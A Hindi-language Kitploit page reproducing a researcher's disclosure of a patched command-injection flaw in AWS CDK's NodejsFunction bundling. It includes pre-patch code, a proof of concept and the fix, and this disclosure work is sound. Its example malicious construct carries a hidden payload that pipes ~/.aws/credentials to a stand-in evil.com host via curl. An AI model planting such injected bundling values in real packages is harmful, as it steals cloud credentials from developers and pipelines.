Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-11417-AWS-CDK-RCE — तकनीकी विवरण और प्रूफ ऑफ कॉन्सेप्ट (PoC) CVE-2026-11417 के लिए: AWS CDK के NodejsFunction में OS कमांड इंजेक्शन / रिमोट कोड एक्ज़ीक्यूशन (RCE) | Kitploit
उपकरण/GitHubGitHub/heshamash/cve-2026-11417-aws-cdk-rce
भेद्यता विश्लेषणकोड विश्लेषणशोषणपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षाआपूर्ति श्रृंखला सुरक्षापेपर और शोधलर्निंग और शिक्षा
GitHub
heshamash/cve-2026-11417-aws-cdk-rce

CVE-2026-11417-AWS-CDK-RCE

तकनीकी विवरण और प्रूफ ऑफ कॉन्सेप्ट (PoC) CVE-2026-11417 के लिए: AWS CDK के NodejsFunction में OS कमांड इंजेक्शन / रिमोट कोड एक्ज़ीक्यूशन (RCE)

रिपॉजिटरी देखें
32 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

AWS CDK के NodejsFunction में सप्लाई चेन कमांड इंजेक्शन (CVE-2026-11417)

लेखक: Hesham Ashraf (@HeshamASH)

दिनांक: 10 जून, 2026

गंभीरता: उच्च (CVSSv3.1: 7.3, CVSSv4: 7.0)

CWE: CWE-78 — OS कमांड में प्रयुक्त विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन (OS कमांड इंजेक्शन)

प्रभावित पैकेज: aws-cdk-lib (npm), 2.245.0 से पहले के सभी संस्करण

विक्रेता: Amazon Web Services (AWS)

स्थिति: पैच किया गया (PR #37292, PR #37412) | CVE: CVE-2026-11417 | बुलेटिन: AWS-2026-041 | सलाह: GHSA-999r-qq7v-r334


TL;DR

मैंने AWS Cloud Development Kit (CDK) में एक कमांड इंजेक्शन भेद्यता खोजी, जो एक हमलावर को दुर्भावनापूर्ण npm पैकेज प्रकाशित करके या क्राफ्टेड पुल रिक्वेस्ट प्रस्तुत करके cdk synth चलाने वाली किसी भी मशीन पर प्राप्त करने की अनुमति देती थी — जिसमें डेवलपर वर्कस्टेशन और CI/CD पाइपलाइन शामिल हैं।

रिमोट कोड निष्पादन (RCE)

यह भेद्यता इसलिए मौजूद थी क्योंकि aws-cdk-lib के NodejsFunction कंस्ट्रक्ट ने बिना सैनिटाइज़ेशन के उपयोगकर्ता-नियंत्रित स्ट्रिंग्स को सीधे शेल कमांड में इंटरपोलेट किया, फिर इसे bash -c / cmd /c के माध्यम से निष्पादित किया। AWS ने शेल-आधारित निष्पादन को सीधे spawnSync आर्गुमेंट ऐरे से बदलकर इस समस्या का पैच किया।


पृष्ठभूमि

AWS Cloud Development Kit (CDK) कोड के रूप में क्लाउड इंफ्रास्ट्रक्चर को परिभाषित करने के लिए व्यापक रूप से उपयोग किया जाने वाला ओपन-सोर्स फ्रेमवर्क है। इसका उपयोग हजारों डेवलपर्स और CI/CD पाइपलाइनों द्वारा AWS CloudFormation स्टैक्स को संश्लेषित और तैनात करने के लिए किया जाता है।

NodejsFunction कंस्ट्रक्ट सबसे लोकप्रिय CDK L2 कंस्ट्रक्ट्स में से एक है। यह संश्लेषण चरण (cdk synth) के दौरान esbuild का उपयोग करके TypeScript/JavaScript Lambda फ़ंक्शन्स को बंडल करता है।

भेद्यता

मूल कारण

NodejsFunction कंस्ट्रक्ट के स्थानीय बंडलिंग पथ ने बिना किसी सैनिटाइज़ेशन के कई उपयोगकर्ता-नियंत्रित प्रॉपर्टीज़ को सीधे इंटरपोलेट करके एक शेल कमांड स्ट्रिंग बनाई:

root@kitploit:~
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
  options.esbuildRunner,
  '--bundle', `"${relativeEntryPath}"`,
  `--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
  '--platform=node',
  ...this.externals.map(external => `--external:${external}`),           // NO ESCAPING
  ...loaders.map(([ext, name]) => `--loader:${ext}=${name}`),            // NO ESCAPING
  ...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
  ...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [],   // NO ESCAPING
  ...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [],         // NO ESCAPING
];

फिर ऐरे को एकल स्ट्रिंग में जोड़कर शेल को पास किया जाता था:

root@kitploit:~
// The joined command is passed directly to the OS shell
exec(
  osPlatform === 'win32' ? 'cmd' : 'bash',
  [osPlatform === 'win32' ? '/c' : '-c', localCommand],
  { /* ... */ }
);

शेल मेटाकैरेक्टर जैसे &, ;, |, `, और $() किसी भी इंजेक्टेबल प्रॉपर्टी के भीतर शेल द्वारा कमांड सेपरेटर के रूप में व्याख्या किए जाते, जिससे मनमाना कमांड निष्पादन संभव हो जाता।

प्रभावित प्रॉपर्टीज़

प्रॉपर्टीसैनिटाइज़ेशनजोखिम स्तर
externalModulesकोई नहींगंभीर
define (कुंजियाँ)कोई नहीं (मान JSON.stringify का उपयोग करते हैं)गंभीर
loader (कुंजियाँ)कोई नहींगंभीर
injectकोई नहींगंभीर
esbuildArgs (कुंजियाँ/मान)कोई नहींगंभीर

सप्लाई चेन अटैक परिदृश्य

यह भेद्यता विशेष रूप से खतरनाक है क्योंकि इंजेक्शन npm install के दौरान नहीं, बल्कि CDK संश्लेषण परत पर होता है। इसका मतलब है कि --ignore-scripts जैसे मानक npm सुरक्षा उपाय कोई सुरक्षा प्रदान नहीं करते हैं।

अटैक वेक्टर: दुर्भावनापूर्ण CDK कंस्ट्रक्ट

एक हमलावर एक वैध दिखने वाला npm पैकेज प्रकाशित करता है जो NodejsFunction को रैप करता है:

root@kitploit:~
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';

export class ConvenientLambda extends NodejsFunction {
  constructor(scope, id, props) {
    super(scope, id, {
      ...props,
      bundling: {
        ...props.bundling,
        externalModules: [
          ...(props.bundling?.externalModules ?? []),
          // Hidden payload among legitimate-looking externals
          'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
        ],
      },
    });
  }
}

जब कोई डेवलपर इस पैकेज को इंस्टॉल करता है और cdk synth चलाता है, तो CDK निम्नलिखित कमांड तैयार करता है:

root@kitploit:~
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)

& वर्ण इसे दो स्वतंत्र शेल कमांड में विभाजित करता है:

  1. npx esbuild --bundle handler.ts --external:lodash — esbuild सामान्य रूप से चलता है
  2. curl https://evil.com/... — हमलावर का पेलोड AWS क्रेडेंशियल्स एक्सफिल्ट्रेट करता है

यह मानक रक्षा उपायों को क्यों बायपास करता है

रक्षा उपायप्रभावी?कारण
npm install --ignore-scriptsनहींइंजेक्शन पैकेज इंस्टॉल के दौरान नहीं, बल्कि cdk synth के दौरान होता है
package.json की कोड समीक्षानहींपेलोड TypeScript कंस्ट्रक्ट कोड में है, स्क्रिप्ट्स में नहीं
npm auditनहींपैकेज में कोई ज्ञात भेद्यता नहीं है
लॉकफ़ाइल अखंडतानहींपैकेज स्वयं सही ढंग से इंस्टॉल होता है

अवधारणा का प्रमाण

चरण 1: एक CDK प्रोजेक्ट बनाएं

root@kitploit:~
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts

चरण 2: इंजेक्शन पेलोड के साथ app.ts बनाएं

root@kitploit:~
import * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';

class PoCStack extends Stack {
  constructor(scope, id) {
    super(scope, id);
    new NodejsFunction(this, 'Fn', {
      entry: path.join(__dirname, 'lambda', 'handler.ts'),
      runtime: Runtime.NODEJS_20_X,
      bundling: {
        externalModules: ['foo & echo PWNED > pwned.txt'],
      },
    });
  }
}

const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();

चरण 3: ट्रिगर करें

root@kitploit:~
npx ts-node app.ts

चरण 4: RCE सत्यापित करें

root@kitploit:~
cat pwned.txt
# Output: PWNED

फ़ाइल pwned.txt बनाई जाती है, जो होस्ट पर मनमाना कमांड निष्पादन की पुष्टि करती है।


समाधान

PR #37292: ऐरे-आधारित spawnSync

मुख्य सुधार शेल कमांड स्ट्रिंग निर्माण को सीधे spawnSync का उपयोग करके आर्गुमेंट ऐरे से बदल देता है:

root@kitploit:~
- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);

+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });

यह शेल मेटाकैरेक्टर व्याख्या को पूरी तरह समाप्त कर देता है। नई BundlingStep प्रकार प्रणाली स्पष्ट रूप से अलग करती है:

  • spawn चरण: esbuild/tsc/install — आर्गुमेंट ऐरे के साथ सीधे spawnSync के माध्यम से निष्पादित
  • shell चरण: उपयोगकर्ता-प्रदत्त commandHooks — जानबूझकर शेल द्वारा निष्पादित (उपयोगकर्ता इन्हें अनुबंध द्वारा नियंत्रित करता है)
  • fs चरण: फ़ाइल ऑपरेशन — कोई शेल शामिल नहीं

PR #37412: Windows PowerShell एस्केपिंग

Windows पर Node 22+ के साथ, .cmd शिम्स का सीधा spawnSync EINVAL के साथ विफल हो जाता है। यह PR स्पान चरणों को powershellEscape() के साथ powershell.exe के माध्यम से रूट करता है — यह एक फ़ंक्शन है जो PowerShell की मूल एस्केपिंग का उपयोग करके प्रत्येक आर्गुमेंट को सख्ती से सिंगल-कोट करता है (आंतरिक सिंगल कोट्स को दोगुना करना), फिर & कॉल ऑपरेटर को आगे जोड़ता है।


सीखे गए सबक

  1. शेल निष्पादन एक कोड स्मेल है। कोई भी कोड पथ जो एक स्ट्रिंग बनाता है और उसे bash -c या cmd /c को पास करता है, संभावित कमांड इंजेक्शन भेद्यता है। हमेशा ऐरे-आधारित spawnSync या execFile को प्राथमिकता दें।

  2. सप्लाई चेन अटैक इंस्टॉल-समय की सुरक्षा को बायपास करते हैं। npm audit और --ignore-scripts दुर्भावनापूर्ण postinstall स्क्रिप्ट्स से रक्षा करते हैं, लेकिन वे बिल्ड समय पर निर्भरताओं को संसाधित करने वाले टूल्स में भेद्यताओं से रक्षा नहीं कर सकते।

  3. CDK कंस्ट्रक्ट्स विश्वसनीय कोड होते हैं। जब कोई डेवलपर किसी थर्ड-पार्टी CDK कंस्ट्रक्ट को इंपोर्ट करता है, तो वे निहित रूप से भरोसा करते हैं कि यह उनके इंफ्रास्ट्रक्चर को सही ढंग से कॉन्फ़िगर करेगा। एक दुर्भावनापूर्ण कंस्ट्रक्ट इस भरोसे का उपयोग बंडलिंग प्रॉपर्टीज़ में पेलोड इंजेक्ट करने के लिए कर सकता है जो सामान्य कॉन्फ़िगरेशन जैसी दिखती हैं।


CDK उपयोगकर्ताओं के लिए अनुशंसाएँ

  1. तुरंत अपडेट करें 2.245.0 या बाद वाले aws-cdk-lib संस्करण पर

  2. थर्ड-पार्टी CDK कंस्ट्रक्ट्स की ऑडिट करें असामान्य bundling प्रॉपर्टी मानों के लिए

  3. अपने package-lock.json में CDK कंस्ट्रक्ट संस्करणों को पिन करें

  4. bundling कॉन्फ़िगरेशन को संशोधित करने वाले PRs की अतिरिक्त सावधानी से समीक्षा करें

  5. poc/ फ़ोल्डर में दी गई फ़ाइलों का उपयोग करके भेद्यता को पुन: उत्पन्न करें


खोज और रिपोर्ट Hesham Ashraf (@HeshamASH) द्वारा की गई। समन्वित प्रकटीकरण AWS VDP प्रोग्राम के माध्यम से आयोजित किया गया।

टूल डाउनलोड करें